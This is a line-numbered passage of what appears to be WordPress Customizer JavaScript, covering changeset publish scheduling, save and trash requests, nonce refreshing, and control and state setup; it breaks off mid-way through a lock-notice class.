7256 // Make sure publish settings are not available while the theme is not active and the customizer is in a published state.
7257 section.active.validate = isSectionActive;
7258 updateSectionActive = function() {
7259 section.active.set( isSectionActive() );
7260 };
7261 api.state( 'activated' ).bind( updateSectionActive );
7262 api.state( 'trashing' ).bind( updateSectionActive );
7263 api.state( 'saved' ).bind( updateSectionActive );
7264 api.state( 'changesetStatus' ).bind( updateSectionActive );
7265 updateSectionActive();
7266
7267 // Bind visibility of the publish settings button to whether the section is active.
7268 updateButtonsState = function() {
7269 publishSettingsBtn.toggle( section.active.get() );
7270 saveBtn.toggleClass( 'has-next-sibling', section.active.get() );
7271 };
7272 updateButtonsState();
7273 section.active.bind( updateButtonsState );
7274
7275 function highlightScheduleButton() {
7276 if ( ! cancelScheduleButtonReminder ) {
7277 cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, {
7278 delay: 1000,
7279
7280 /*
7281 * Only abort the reminder when the save button is focused.
7282 * If the user clicks the settings button to toggle the
7283 * settings closed, we'll still remind them.
7284 */
7285 focusTarget: saveBtn
7286 } );
7287 }
7288 }
7289 function cancelHighlightScheduleButton() {
7290 if ( cancelScheduleButtonReminder ) {
7291 cancelScheduleButtonReminder();
7292 cancelScheduleButtonReminder = null;
7293 }
7294 }
7295 api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton );
7296
7297 section.contentContainer.find( '.customize-action' ).text( api.l10n.updating );
7298 section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' );
7299 publishSettingsBtn.prop( 'disabled', false );
7300
7301 publishSettingsBtn.on( 'click', function( event ) {
7302 event.preventDefault();
7303 section.expanded.set( ! section.expanded.get() );
7304 } );
7305
7306 section.expanded.bind( function( isExpanded ) {
7307 var defaultChangesetStatus;
7308 publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) );
7309 publishSettingsBtn.toggleClass( 'active', isExpanded );
7310
7311 if ( isExpanded ) {
7312 cancelHighlightScheduleButton();
7313 return;
7314 }
7315
7316 defaultChangesetStatus = api.state( 'changesetStatus' ).get();
7317 if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
7318 defaultChangesetStatus = 'publish';
7319 }
7320
7321 if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
7322 highlightScheduleButton();
7323 } else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
7324 highlightScheduleButton();
7325 }
7326 } );
7327
7328 statusControl = new api.Control( 'changeset_status', {
7329 priority: 10,
7330 type: 'radio',
7331 section: 'publish_settings',
7332 setting: api.state( 'selectedChangesetStatus' ),
7333 templateId: 'customize-selected-changeset-status-control',
7334 label: api.l10n.action,
7335 choices: api.settings.changeset.statusChoices
7336 } );
7337 api.control.add( statusControl );
7338
7339 dateControl = new api.DateTimeControl( 'changeset_scheduled_date', {
7340 priority: 20,
7341 section: 'publish_settings',
7342 setting: api.state( 'selectedChangesetDate' ),
7343 minYear: ( new Date() ).getFullYear(),
7344 allowPastDate: false,
7345 includeTime: true,
7346 twelveHourFormat: /a/i.test( api.settings.timeFormat ),
7347 description: api.l10n.scheduleDescription
7348 } );
7349 dateControl.notifications.alt = true;
7350 api.control.add( dateControl );
7351
7352 publishWhenTime = function() {
7353 api.state( 'selectedChangesetStatus' ).set( 'publish' );
7354 api.previewer.save();
7355 };
7356
7357 // Start countdown for when the dateTime arrives, or clear interval when it is .
7358 updateTimeArrivedPoller = function() {
7359 var shouldPoll = (
7360 'future' === api.state( 'changesetStatus' ).get() &&
7361 'future' === api.state( 'selectedChangesetStatus' ).get() &&
7362 api.state( 'changesetDate' ).get() &&
7363 api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() &&
7364 api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0
7365 );
7366
7367 if ( shouldPoll && ! pollInterval ) {
7368 pollInterval = setInterval( function() {
7369 var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() );
7370 api.state( 'remainingTimeToPublish' ).set( remainingTime );
7371 if ( remainingTime <= 0 ) {
7372 clearInterval( pollInterval );
7373 pollInterval = 0;
7374 publishWhenTime();
7375 }
7376 }, timeArrivedPollingInterval );
7377 } else if ( ! shouldPoll && pollInterval ) {
7378 clearInterval( pollInterval );
7379 pollInterval = 0;
7380 }
7381 };
7382
7383 api.state( 'changesetDate' ).bind( updateTimeArrivedPoller );
7384 api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller );
7385 api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller );
7386 api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller );
7387 updateTimeArrivedPoller();
7388
7389 // Ensure dateControl only appears when selected status is future.
7390 dateControl.active.validate = function() {
7391 return 'future' === api.state( 'selectedChangesetStatus' ).get();
7392 };
7393 toggleDateControl = function( value ) {
7394 dateControl.active.set( 'future' === value );
7395 };
7396 toggleDateControl( api.state( 'selectedChangesetStatus' ).get() );
7397 api.state( 'selectedChangesetStatus' ).bind( toggleDateControl );
7398
7399 // Show notification on date control when status is future but it isn't a future date.
7400 api.state( 'saving' ).bind( function( isSaving ) {
7401 if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) {
7402 dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() );
7403 }
7404 } );
7405 } );
7406
7407 // Prevent the form from saving when enter is pressed on an input or select element.
7408 $('#customize-controls').on( 'keydown', function( e ) {
7409 var isEnter = ( 13 === e.which ),
7410 $el = $( e.target );
7411
7412 if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
7413 e.preventDefault();
7414 }
7415 });
7416
7417 // Expand/Collapse the main customizer customize info.
7418 $( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
7419 var section = $( this ).closest( '.accordion-section' ),
7420 content = section.find( '.customize-panel-description:first' );
7421
7422 if ( section.hasClass( 'cannot-expand' ) ) {
7423 return;
7424 }
7425
7426 if ( section.hasClass( 'open' ) ) {
7427 section.toggleClass( 'open' );
7428 content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() {
7429 content.trigger( 'toggled' );
7430 } );
7431 $( this ).attr( 'aria-expanded', false );
7432 } else {
7433 content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() {
7434 content.trigger( 'toggled' );
7435 } );
7436 section.toggleClass( 'open' );
7437 $( this ).attr( 'aria-expanded', true );
7438 }
7439 });
7440
7441 /**
7442 * Initialize Previewer
7443 *
7444 * @alias wp.customize.previewer
7445 */
7446 api.previewer = new api.Previewer({
7447 container: '#customize-preview',
7448 form: '#customize-controls',
7449 previewUrl: api.settings.url.preview,
7450 allowedUrls: api.settings.url.allowed
7451 },/** @lends wp.customize.previewer */{
7452
7453 nonce: api.settings.nonce,
7454
7455 /**
7456 * Build the query to send along with the Preview request.
7457 *
7458 * @since 3.4.0
7459 * @since 4.7.0 Added options param.
7460 * @access public
7461 *
7462 * @param {Object} [options] Options.
7463 * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset).
7464 * @return {Object} Query vars.
7465 */
7466 query: function( options ) {
7467 var queryVars = {
7468 wp_customize: 'on',
7469 customize_theme: api.settings.theme.stylesheet,
7470 nonce: this.nonce.preview,
7471 customize_changeset_uuid: api.settings.changeset.uuid
7472 };
7473 if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
7474 queryVars.customize_autosaved = 'on';
7475 }
7476
7477 /*
7478 * Exclude customized data if requested especially for calls to requestChangesetUpdate.
7479 * Changeset updates are differential and so it is a performance waste to send all of
7480 * the dirty settings with each update.
7481 */
7482 queryVars.customized = JSON.stringify( api.dirtyValues( {
7483 unsaved: options && options.excludeCustomizedSaved
7484 } ) );
7485
7486 return queryVars;
7487 },
7488
7489 /**
7490 * Save (and publish) the customizer changeset.
7491 *
7492 * Updates to the changeset are transactional. If any of the settings
7493 * are invalid then none of them will be written into the changeset.
7494 * A revision will be made for the changeset post if revisions support
7495 * has been added to the post type.
7496 *
7497 * @since 3.4.0
7498 * @since 4.7.0 Added args param and return value.
7499 *
7500 * @param {Object} [args] Args.
7501 * @param {string} [args.status=publish] Status.
7502 * @param {string} [args.date] Date, in local time in MySQL format.
7503 * @param {string} [args.title] Title
7504 * @return {jQuery.promise} Promise.
7505 */
7506 save: function( args ) {
7507 var previewer = this,
7508 deferred = $.Deferred(),
7509 changesetStatus = api.state( 'selectedChangesetStatus' ).get(),
7510 selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(),
7511 processing = api.state( 'processing' ),
7512 submitWhenDoneProcessing,
7513 submit,
7514 modifiedWhileSaving = {},
7515 invalidSettings = [],
7516 invalidControls = [],
7517 invalidSettingLessControls = [];
7518
7519 if ( args && args.status ) {
7520 changesetStatus = args.status;
7521 }
7522
7523 if ( api.state( 'saving' ).get() ) {
7524 deferred.reject( 'already_saving' );
7525 deferred.promise();
7526 }
7527
7528 api.state( 'saving' ).set( true );
7529
7530 function captureSettingModifiedDuringSave( setting ) {
7531 modifiedWhileSaving[ setting.id ] = true;
7532 }
7533
7534 submit = function () {
7535 var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error';
7536
7537 api.bind( 'change', captureSettingModifiedDuringSave );
7538 api.notifications.remove( errorCode );
7539
7540 /*
7541 * Block saving if there are any settings that are marked as
7542 * invalid from the client (not from the server). Focus on
7543 * the control.
7544 */
7545 api.each( function( setting ) {
7546 setting.notifications.each( function( notification ) {
7547 if ( 'error' === notification.type && ! notification.fromServer ) {
7548 invalidSettings.push( setting.id );
7549 if ( ! settingInvalidities[ setting.id ] ) {
7550 settingInvalidities[ setting.id ] = {};
7551 }
7552 settingInvalidities[ setting.id ][ notification.code ] = notification;
7553 }
7554 } );
7555 } );
7556
7557 // Find all invalid setting less controls with notification type error.
7558 api.control.each( function( control ) {
7559 if ( ! control.setting || ! control.setting.id && control.active.get() ) {
7560 control.notifications.each( function( notification ) {
7561 if ( 'error' === notification.type ) {
7562 invalidSettingLessControls.push( [ control ] );
7563 }
7564 } );
7565 }
7566 } );
7567
7568 invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) );
7569 if ( ! _.isEmpty( invalidControls ) ) {
7570
7571 invalidControls[0][0].focus();
7572 api.unbind( 'change', captureSettingModifiedDuringSave );
7573
7574 if ( invalidSettings.length ) {
7575 api.notifications.add( new api.Notification( errorCode, {
7576 message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ),
7577 type: 'error',
7578 dismissible: true,
7579 saveFailure: true
7580 } ) );
7581 }
7582
7583 deferred.rejectWith( previewer, [
7584 { setting_invalidities: settingInvalidities }
7585 ] );
7586 api.state( 'saving' ).set( false );
7587 return deferred.promise();
7588 }
7589
7590 /*
7591 * Note that excludeCustomizedSaved is intentionally false so that the entire
7592 * set of customized data will be included if bypassed changeset update.
7593 */
7594 query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), {
7595 nonce: previewer.nonce.save,
7596 customize_changeset_status: changesetStatus
7597 } );
7598
7599 if ( args && args.date ) {
7600 query.customize_changeset_date = args.date;
7601 } else if ( 'future' === changesetStatus && selectedChangesetDate ) {
7602 query.customize_changeset_date = selectedChangesetDate;
7603 }
7604
7605 if ( args && args.title ) {
7606 query.customize_changeset_title = args.title;
7607 }
7608
7609 // Allow plugins to modify the params included with the save request.
7610 api.trigger( 'save-request-params', query );
7611
7612 /*
7613 * Note that the dirty customized values will have already been set in the
7614 * changeset and so technically query.customized could be deleted. However,
7615 * it is remaining here to make sure that any settings that got updated
7616 * quietly which may have not triggered an update request will also get
7617 * included in the values that get saved to the changeset. This will ensure
7618 * that values that get injected via the saved event will be included in
7619 * the changeset. This also ensures that setting values that were invalid
7620 * will get re-validated, perhaps in the case of settings that are invalid
7621 * due to dependencies on other settings.
7622 */
7623 request = wp.ajax.post( 'customize_save', query );
7624 api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
7625
7626 api.trigger( 'save', request );
7627
7628 request.always( function () {
7629 api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
7630 api.state( 'saving' ).set( false );
7631 api.unbind( 'change', captureSettingModifiedDuringSave );
7632 } );
7633
7634 // Remove notifications that were added due to save failures.
7635 api.notifications.each( function( notification ) {
7636 if ( notification.saveFailure ) {
7637 api.notifications.remove( notification.code );
7638 }
7639 });
7640
7641 request.fail( function ( response ) {
7642 var notification, notificationArgs;
7643 notificationArgs = {
7644 type: 'error',
7645 dismissible: true,
7646 fromServer: true,
7647 saveFailure: true
7648 };
7649
7650 if ( '0' === response ) {
7651 response = 'not_logged_in';
7652 } else if ( '-1' === response ) {
7653 // Back-compat in case any other check_ajax_referer() call is dying.
7654 response = 'invalid_nonce';
7655 }
7656
7657 if ( 'invalid_nonce' === response ) {
7658 previewer.cheatin();
7659 } else if ( 'not_logged_in' === response ) {
7660 previewer.preview.iframe.hide();
7661 previewer.login().done( function() {
7662 previewer.save();
7663 previewer.preview.iframe.show();
7664 } );
7665 } else if ( response.code ) {
7666 if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) {
7667 api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus();
7668 } else if ( 'changeset_locked' !== response.code ) {
7669 notification = new api.Notification( response.code, _.extend( notificationArgs, {
7670 message: response.message
7671 } ) );
7672 }
7673 } else {
7674 notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, {
7675 message: api.l10n.unknownRequestFail
7676 } ) );
7677 }
7678
7679 if ( notification ) {
7680 api.notifications.add( notification );
7681 }
7682
7683 if ( response.setting_validities ) {
7684 api._handleSettingValidities( {
7685 settingValidities: response.setting_validities,
7686 focusInvalidControl: true
7687 } );
7688 }
7689
7690 deferred.rejectWith( previewer, [ response ] );
7691 api.trigger( 'error', response );
7692
7693 // Start a new changeset if the underlying changeset was published.
7694 if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) {
7695 api.settings.changeset.uuid = response.next_changeset_uuid;
7696 api.state( 'changesetStatus' ).set( '' );
7697 if ( api.settings.changeset.branching ) {
7698 parent.send( 'changeset-uuid', api.settings.changeset.uuid );
7699 }
7700 api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid );
7701 }
7702 } );
7703
7704 request.done( function( response ) {
7705
7706 previewer.send( 'saved', response );
7707
7708 api.state( 'changesetStatus' ).set( response.changeset_status );
7709 if ( response.changeset_date ) {
7710 api.state( 'changesetDate' ).set( response.changeset_date );
7711 }
7712
7713 if ( 'publish' === response.changeset_status ) {
7714
7715 // Mark all published as clean if they haven't been modified during the request.
7716 api.each( function( setting ) {
7717 /*
7718 * Note that the setting revision will be undefined in the case of setting
7719 * values that are marked as dirty when the customizer is loaded, such as
7720 * when applying starter content. All other dirty settings will have an
7721 * associated revision due to their modification triggering a change event.
7722 */
7723 if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) {
7724 setting._dirty = false;
7725 }
7726 } );
7727
7728 api.state( 'changesetStatus' ).set( '' );
7729 api.settings.changeset.uuid = response.next_changeset_uuid;
7730 if ( api.settings.changeset.branching ) {
7731 parent.send( 'changeset-uuid', api.settings.changeset.uuid );
7732 }
7733 }
7734
7735 // Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved.
7736 api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision );
7737
7738 if ( response.setting_validities ) {
7739 api._handleSettingValidities( {
7740 settingValidities: response.setting_validities,
7741 focusInvalidControl: true
7742 } );
7743 }
7744
7745 deferred.resolveWith( previewer, [ response ] );
7746 api.trigger( 'saved', response );
7747
7748 // Restore the global dirty state if any settings were modified during save.
7749 if ( ! _.isEmpty( modifiedWhileSaving ) ) {
7750 api.state( 'saved' ).set( false );
7751 }
7752 } );
7753 };
7754
7755 if ( 0 === processing() ) {
7756 submit();
7757 } else {
7758 submitWhenDoneProcessing = function () {
7759 if ( 0 === processing() ) {
7760 api.state.unbind( 'change', submitWhenDoneProcessing );
7761 submit();
7762 }
7763 };
7764 api.state.bind( 'change', submitWhenDoneProcessing );
7765 }
7766
7767 return deferred.promise();
7768 },
7769
7770 /**
7771 * Trash the current changes.
7772 *
7773 * Revert the Customizer to its previously-published state.
7774 *
7775 * @since 4.9.0
7776 *
7777 * @return {jQuery.promise} Promise.
7778 */
7779 trash: function trash() {
7780 var request, success, fail;
7781
7782 api.state( 'trashing' ).set( true );
7783 api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
7784
7785 request = wp.ajax.post( 'customize_trash', {
7786 customize_changeset_uuid: api.settings.changeset.uuid,
7787 nonce: api.settings.nonce.trash
7788 } );
7789 api.notifications.add( new api.OverlayNotification( 'changeset_trashing', {
7790 type: 'info',
7791 message: api.l10n.revertingChanges,
7792 loading: true
7793 } ) );
7794
7795 success = function() {
7796 var urlParser = document.createElement( 'a' ), queryParams;
7797
7798 api.state( 'changesetStatus' ).set( 'trash' );
7799 api.each( function( setting ) {
7800 setting._dirty = false;
7801 } );
7802 api.state( 'saved' ).set( true );
7803
7804 // Go back to Customizer without changeset.
7805 urlParser.href = location.href;
7806 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
7807 delete queryParams.changeset_uuid;
7808 queryParams['return'] = api.settings.url['return'];
7809 urlParser.search = $.param( queryParams );
7810 location.replace( urlParser.href );
7811 };
7812
7813 fail = function( code, message ) {
7814 var notificationCode = code || 'unknown_error';
7815 api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
7816 api.state( 'trashing' ).set( false );
7817 api.notifications.remove( 'changeset_trashing' );
7818 api.notifications.add( new api.Notification( notificationCode, {
7819 message: message || api.l10n.unknownError,
7820 dismissible: true,
7821 type: 'error'
7822 } ) );
7823 };
7824
7825 request.done( function( response ) {
7826 success( response.message );
7827 } );
7828
7829 request.fail( function( response ) {
7830 var code = response.code || 'trashing_failed';
7831 if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) {
7832 success( response.message );
7833 } else {
7834 fail( code, response.message );
7835 }
7836 } );
7837 },
7838
7839 /**
7840 * Builds the front preview URL with the current state of customizer.
7841 *
7842 * @since 4.9.0
7843 *
7844 * @return {string} Preview URL.
7845 */
7846 getFrontendPreviewUrl: function() {
7847 var previewer = this, params, urlParser;
7848 urlParser = document.createElement( 'a' );
7849 urlParser.href = previewer.previewUrl.get();
7850 params = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
7851
7852 if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) {
7853 params.customize_changeset_uuid = api.settings.changeset.uuid;
7854 }
7855 if ( ! api.state( 'activated' ).get() ) {
7856 params.customize_theme = api.settings.theme.stylesheet;
7857 }
7858
7859 urlParser.search = $.param( params );
7860 return urlParser.href;
7861 }
7862 });
7863
7864 // Ensure preview nonce is included with every customized request, to allow post data to be read.
7865 $.ajaxPrefilter( function injectPreviewNonce( options ) {
7866 if ( ! /wp_customize=on/.test( options.data ) ) {
7867 return;
7868 }
7869 options.data += '&' + $.param({
7870 customize_preview_nonce: api.settings.nonce.preview
7871 });
7872 });
7873
7874 // Refresh the nonces if the preview sends updated nonces over.
7875 api.previewer.bind( 'nonce', function( nonce ) {
7876 $.extend( this.nonce, nonce );
7877 });
7878
7879 // Refresh the nonces if login sends updated nonces over.
7880 api.bind( 'nonce-refresh', function( nonce ) {
7881 $.extend( api.settings.nonce, nonce );
7882 $.extend( api.previewer.nonce, nonce );
7883 api.previewer.send( 'nonce-refresh', nonce );
7884 });
7885
7886 // Create Settings.
7887 $.each( api.settings.settings, function( id, data ) {
7888 var Constructor = api.settingConstructor[ data.type ] || api.Setting;
7889 api.add( new Constructor( id, data.value, {
7890 transport: data.transport,
7891 previewer: api.previewer,
7892 dirty: !! data.dirty
7893 } ) );
7894 });
7895
7896 // Create Panels.
7897 $.each( api.settings.panels, function ( id, data ) {
7898 var Constructor = api.panelConstructor[ data.type ] || api.Panel, options;
7899 // Inclusion of params alias is for back-compat for custom panels that expect to augment this property.
7900 options = _.extend( { params: data }, data );
7901 api.panel.add( new Constructor( id, options ) );
7902 });
7903
7904 // Create Sections.
7905 $.each( api.settings.sections, function ( id, data ) {
7906 var Constructor = api.sectionConstructor[ data.type ] || api.Section, options;
7907 // Inclusion of params alias is for back-compat for custom sections that expect to augment this property.
7908 options = _.extend( { params: data }, data );
7909 api.section.add( new Constructor( id, options ) );
7910 });
7911
7912 // Create Controls.
7913 $.each( api.settings.controls, function( id, data ) {
7914 var Constructor = api.controlConstructor[ data.type ] || api.Control, options;
7915 // Inclusion of params alias is for back-compat for custom controls that expect to augment this property.
7916 options = _.extend( { params: data }, data );
7917 api.control.add( new Constructor( id, options ) );
7918 });
7919
7920 // Focus the autofocused element.
7921 _.each( [ 'panel', 'section', 'control' ], function( type ) {
7922 var id = api.settings.autofocus[ type ];
7923 if ( ! id ) {
7924 return;
7925 }
7926
7927 /*
7928 * Defer focus until:
7929 * 1. The panel, section, or control exists (especially for dynamically-created ones).
7930 * 2. The instance is embedded in the document (and so is focusable).
7931 * 3. The preview has finished loading so that the active states have been set.
7932 */
7933 api[ type ]( id, function( instance ) {
7934 instance.deferred.embedded.done( function() {
7935 api.previewer.deferred.active.done( function() {
7936 instance.focus();
7937 });
7938 });
7939 });
7940 });
7941
7942 api.bind( 'ready', api.reflowPaneContents );
7943 $( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
7944 var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents );
7945 values.bind( 'add', debouncedReflowPaneContents );
7946 values.bind( 'change', debouncedReflowPaneContents );
7947 values.bind( 'remove', debouncedReflowPaneContents );
7948 } );
7949
7950 // Set up global notifications area.
7951 api.bind( 'ready', function setUpGlobalNotificationsArea() {
7952 var sidebar, containerHeight, containerInitialTop;
7953 api.notifications.container = $( '#customize-notifications-area' );
7954
7955 api.notifications.bind( 'change', _.debounce( function() {
7956 api.notifications.render();
7957 } ) );
7958
7959 sidebar = $( '.wp-full-overlay-sidebar-content' );
7960 api.notifications.bind( 'rendered', function updateSidebarTop() {
7961 sidebar.css( 'top', '' );
7962 if ( 0 !== api.notifications.count() ) {
7963 containerHeight = api.notifications.container.outerHeight() + 1;
7964 containerInitialTop = parseInt( sidebar.css( 'top' ), 10 );
7965 sidebar.css( 'top', containerInitialTop + containerHeight + 'px' );
7966 }
7967 api.notifications.trigger( 'sidebarTopUpdated' );
7968 });
7969
7970 api.notifications.render();
7971 });
7972
7973 // Save and activated states.
7974 (function( state ) {
7975 var saved = state.instance( 'saved' ),
7976 saving = state.instance( 'saving' ),
7977 trashing = state.instance( 'trashing' ),
7978 activated = state.instance( 'activated' ),
7979 processing = state.instance( 'processing' ),
7980 paneVisible = state.instance( 'paneVisible' ),
7981 expandedPanel = state.instance( 'expandedPanel' ),
7982 expandedSection = state.instance( 'expandedSection' ),
7983 changesetStatus = state.instance( 'changesetStatus' ),
7984 selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ),
7985 changesetDate = state.instance( 'changesetDate' ),
7986 selectedChangesetDate = state.instance( 'selectedChangesetDate' ),
7987 previewerAlive = state.instance( 'previewerAlive' ),
7988 editShortcutVisibility = state.instance( 'editShortcutVisibility' ),
7989 changesetLocked = state.instance( 'changesetLocked' ),
7990 populateChangesetUuidParam, defaultSelectedChangesetStatus;
7991
7992 state.bind( 'change', function() {
7993 var canSave;
7994
7995 if ( ! activated() ) {
7996 saveBtn.val( api.l10n.activate );
7997 closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
7998
7999 } else if ( '' === changesetStatus.get() && saved() ) {
8000 if ( api.settings.changeset.currentUserCanPublish ) {
8001 saveBtn.val( api.l10n.published );
8002 } else {
8003 saveBtn.val( api.l10n.saved );
8004 }
8005 closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );
8006
8007 } else {
8008 if ( 'draft' === selectedChangesetStatus() ) {
8009 if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
8010 saveBtn.val( api.l10n.draftSaved );
8011 } else {
8012 saveBtn.val( api.l10n.saveDraft );
8013 }
8014 } else if ( 'future' === selectedChangesetStatus() ) {
8015 if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
8016 if ( changesetDate.get() !== selectedChangesetDate.get() ) {
8017 saveBtn.val( api.l10n.schedule );
8018 } else {
8019 saveBtn.val( api.l10n.scheduled );
8020 }
8021 } else {
8022 saveBtn.val( api.l10n.schedule );
8023 }
8024 } else if ( api.settings.changeset.currentUserCanPublish ) {
8025 saveBtn.val( api.l10n.publish );
8026 }
8027 closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
8028 }
8029
8030 /*
8031 * Save (publish) button should be enabled if saving is not currently happening,
8032 * and if the theme is not active or the changeset exists but is not published.
8033 */
8034 canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) );
8035
8036 saveBtn.prop( 'disabled', ! canSave );
8037 });
8038
8039 selectedChangesetStatus.validate = function( status ) {
8040 if ( '' === status || 'auto-draft' === status ) {
8041 return null;
8042 }
8043 return status;
8044 };
8045
8046 defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft';
8047
8048 // Set default states.
8049 changesetStatus( api.settings.changeset.status );
8050 changesetLocked( Boolean( api.settings.changeset.lockUser ) );
8051 changesetDate( api.settings.changeset.publishDate );
8052 selectedChangesetDate( api.settings.changeset.publishDate );
8053 selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status );
8054 selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection.
8055 saved( true );
8056 if ( '' === changesetStatus() ) { // Handle case for loading starter content.
8057 api.each( function( setting ) {
8058 if ( setting._dirty ) {
8059 saved( false );
8060 }
8061 } );
8062 }
8063 saving( false );
8064 activated( api.settings.theme.active );
8065 processing( 0 );
8066 paneVisible( true );
8067 expandedPanel( false );
8068 expandedSection( false );
8069 previewerAlive( true );
8070 editShortcutVisibility( 'visible' );
8071
8072 api.bind( 'change', function() {
8073 if ( state( 'saved' ).get() ) {
8074 state( 'saved' ).set( false );
8075 }
8076 });
8077
8078 // Populate changeset UUID param when state becomes dirty.
8079 if ( api.settings.changeset.branching ) {
8080 saved.bind( function( isSaved ) {
8081 if ( ! isSaved ) {
8082 populateChangesetUuidParam( true );
8083 }
8084 });
8085 }
8086
8087 saving.bind( function( isSaving ) {
8088 body.toggleClass( 'saving', isSaving );
8089 } );
8090 trashing.bind( function( isTrashing ) {
8091 body.toggleClass( 'trashing', isTrashing );
8092 } );
8093
8094 api.bind( 'saved', function( response ) {
8095 state('saved').set( true );
8096 if ( 'publish' === response.changeset_status ) {
8097 state( 'activated' ).set( true );
8098 }
8099 });
8100
8101 activated.bind( function( to ) {
8102 if ( to ) {
8103 api.trigger( 'activated' );
8104 }
8105 });
8106
8107 /**
8108 * Populate URL with UUID via `history.replaceState()`.
8109 *
8110 * @since 4.7.0
8111 * @access private
8112 *
8113 * @param {boolean} isIncluded Is UUID included.
8114 * @return {void}
8115 */
8116 populateChangesetUuidParam = function( isIncluded ) {
8117 var urlParser, queryParams;
8118
8119 // Abort on IE9 which doesn't support history management.
8120 if ( ! history.replaceState ) {
8121 return;
8122 }
8123
8124 urlParser = document.createElement( 'a' );
8125 urlParser.href = location.href;
8126 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
8127 if ( isIncluded ) {
8128 if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) {
8129 return;
8130 }
8131 queryParams.changeset_uuid = api.settings.changeset.uuid;
8132 } else {
8133 if ( ! queryParams.changeset_uuid ) {
8134 return;
8135 }
8136 delete queryParams.changeset_uuid;
8137 }
8138 urlParser.search = $.param( queryParams );
8139 history.replaceState( {}, document.title, urlParser.href );
8140 };
8141
8142 // Show changeset UUID in URL when in branching mode and there is a saved changeset.
8143 if ( api.settings.changeset.branching ) {
8144 changesetStatus.bind( function( newStatus ) {
8145 populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus );
8146 } );
8147 }
8148 }( api.state ) );
8149
8150 /**
8151 * Handles lock notice and take over request.
8152 *
8153 * @since 4.9.0
8154 */
8155 ( function checkAndDisplayLockNotice() {
8156
8157 var LockedNotification = api.OverlayNotification.extend(/** @lends wp.customize~LockedNotification.prototype */{
8158
8159 /**
8160 * Template ID.
8161 *
8162 * @type {string}
8163 */
8164 templateId: 'customize-changeset-locked-notification',
8165
8166 /**
8167 * Lock user.
8168 *
8169 * @type {object}
8170 */
8171 lockUser: null,
8172
8173 /**
8174 * A notification that is displayed in a full-screen overlay with information about the locked changeset.
8175 *
8176 * @constructs wp.customize~LockedNotification
8177 * @augments wp.customize.OverlayNotification
8178 *
8179 * @since 4.9.0
8180 *
8181 * @param {string} [code] - Code.
8182 * @param {Object} [params] - Params.
8183 */
8184 initialize: function( code, params ) {
8185 var notification = this, _code, _params;
8186 _code = code || 'changeset_locked';
8187 _params = _.extend(
8188 {
8189 message: '',
8190 type: 'warning',
8191 containerClasses: '',
